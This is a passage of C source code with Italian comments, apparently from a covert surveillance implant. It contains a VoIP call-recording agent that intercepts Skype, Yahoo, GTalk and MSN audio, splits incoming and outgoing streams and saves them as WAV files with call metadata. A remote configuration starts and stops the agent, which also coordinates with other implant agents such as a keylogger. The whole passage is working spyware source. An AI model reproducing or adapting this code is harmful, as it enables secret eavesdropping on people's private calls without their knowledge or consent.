!(call_list_head->flags&CALL_SKYPE_OLD)) call_list_head->voip_program = VOIP_SKWSA; return FALSE; } BOOL ParseSamplingMsg(BYTE *msg, DWORD *pdwLen, DWORD *pdwFlags) { DWORD in_out = INPUT_ELEM; if (*pdwFlags & FLAGS_SAMPLING) { if (*pdwFlags & FLAGS_OUTPUT) in_out = OUTPUT_ELEM; sample_sampling[in_out] = *((DWORD *)msg); return TRUE; } return FALSE; } DWORD __stdcall PM_VoipRecordDispatch(BYTE *msg, DWORD dwLen, DWORD dwFlags, FILETIME *time_nanosec) { DWORD in_out = INPUT_ELEM; pVoiceAdditionalData additional_data; DWORD additional_len; // Se il monitor e' stoppato non esegue la funzione di dispatch if (!bPM_VoipRecordStarted) return 0; // Parsing per messaggi specifici di un programma if (ParseSkypeMsg(msg, &dwLen, &dwFlags)) return 1; if (ParseYahooMsg(msg, &dwLen, &dwFlags)) return 1; if (ParseGtalkMsg(msg, &dwLen, &dwFlags)) return 1; if (ParseMsnMsg(msg, &dwLen, &dwFlags)) return 1; // Intercetta i messaggi di sampling rate if (ParseSamplingMsg(msg, &dwLen, &dwFlags)) return 1; // Registra solo se ci sono chiamate in corso if (!call_list_head) return 1; // Verifica che il chunk audio appartenga effettivamente al programma che viene usato verso il // primo elemento della lista dei peer if (call_list_head->voip_program != ((dwFlags>>24) & 0x3F)) return 1; // Se non e' un messaggio di CallID allora determina da dove viene il sample if (dwFlags & FLAGS_OUTPUT) in_out = OUTPUT_ELEM; // Di default e' su INPUT_ELEM // Se e' troppo distante dall'ultimo sample, lo salva in un file differente // differente (appartiene a una chiamata diversa). // Se sample size e' > 0 sono sicuro che channel_time_last sia stato valorizzato if (sample_size[in_out]>0 && abs(TimeDiff(time_nanosec, &channel_time_last[in_out])) > CALL_DELTA) { additional_data = VoipGetAdditionalData(call_list_head, in_out, &additional_len); SaveWav(wave_array[in_out], sample_size[in_out], sample_channels[in_out], additional_data, additional_len); sample_size[in_out] = 0; } // Se e' il primo messaggio che stiamo mettendo su quel canale, // lo prendiamo come timestamp di inizio (approssimativamente) if (sample_size[in_out] == 0) { channel_time_start[in_out].dwHighDateTime = time_nanosec->dwHighDateTime; channel_time_start[in_out].dwLowDateTime = time_nanosec->dwLowDateTime; } // Setta l'ultimo time-stamp channel_time_last[in_out].dwHighDateTime = time_nanosec->dwHighDateTime; channel_time_last[in_out].dwLowDateTime = time_nanosec->dwLowDateTime; // Lo inserisce nella lista if (InsertList(wave_array[in_out], msg, dwLen, sample_size[in_out])) { sample_size[in_out] += dwLen; sample_channels[in_out] = (dwFlags>>30); } // Se ha superato la dimensione del sample, salva su file // e libera la lista if (sample_size[in_out] > max_sample_size) { additional_data = VoipGetAdditionalData(call_list_head, in_out, &additional_len); SaveWav(wave_array[in_out], sample_size[in_out], sample_channels[in_out], additional_data, additional_len); sample_size[in_out] = 0; } return 1; } DWORD __stdcall PM_VoipRecordStartStop(BOOL bStartFlag, BOOL bReset) { char codec_path[DLLNAMELEN]; pVoiceAdditionalData additional_data; DWORD additional_len; // Lo fa per prima cosa, anche se e' gia' in quello stato // Altrimenti quando gli agenti sono in suspended(per la sync) e ricevo una conf // che li mette in stop non verrebbero fermati realmente a causa del check // if (bPM_KeyLogStarted == bStartFlag) che considera suspended e stopped uguali. // Gli agenti IPC non vengono stoppati quando in suspend (cosi' cmq mettono in coda // durante la sync). if (bReset) AM_IPCAgentStartStop(PM_VOIPRECORDAGENT, bStartFlag); // Se l'agent e' gia' nella condizione desiderata // non fa nulla. if (bPM_VoipRecordStarted == bStartFlag) return 0; // Allo start vede se non abbiamo ancora il codec caricato // Se manca, cerca di caricarlo. if (bStartFlag && !codec_handle) codec_handle = ResolveCodecSymbols(HM_CompletePath(H4_CODEC_NAME, codec_path)); // Cambia lo stato dell'agente bPM_VoipRecordStarted = bStartFlag; // Quando stoppiamo l'agente flusha le due code di PCM... if (!bStartFlag) { for (DWORD i=0; i<2; i++) { if (sample_size[i]>0) { additional_data = VoipGetAdditionalData(call_list_head, i, &additional_len); SaveWav(wave_array[i], sample_size[i], sample_channels[i], additional_data, additional_len); sample_size[i] = 0; } } // ... e stoppiamo il thread che monitora lo skypePM QUERY_CANCELLATION(hSkypePMThread, bPM_spmcp); } else { // bStartFlag == TRUE DWORD dummy; // Startiamo il thread che monitora lo skypePM hSkypePMThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorSkypePM, (DWORD *)&bPM_spmcp, 0, 0); } return 1; } DWORD __stdcall PM_VoipRecordInit(JSONObject elem) { // Inizializza la dimensione dei sample su disco // e il fattore di compressione max_sample_size = (DWORD) elem[L"buffer"]->AsNumber(); compress_factor = (DWORD) elem[L"compression"]->AsNumber(); // Riallochiamo l'array per i PCM // Siamo sicuri di non perdere dati, perche' la Init viene fatta sempre dopo lo Stop // Che avra' flushato entrambe le code e in questo momento il thread di dispatch e' ancora fermo SAFE_FREE(wave_array[INPUT_ELEM]); SAFE_FREE(wave_array[OUTPUT_ELEM]); wave_array[INPUT_ELEM] = (BYTE *)malloc(max_sample_size + MAX_MSG_LEN * 2); wave_array[OUTPUT_ELEM] = (BYTE *)malloc(max_sample_size + MAX_MSG_LEN * 2); return 1; } DWORD __stdcall PM_VoipRecordUnregister() { #define MAX_FREE_TRIES 5 #define FREE_SLEEP_TIME 100 DWORD i; if (codec_handle) { // Cerca a tutti i costi di chiudere la libreria // (anche se dovrebbe riuscire al primo tentativo) for (i=0; i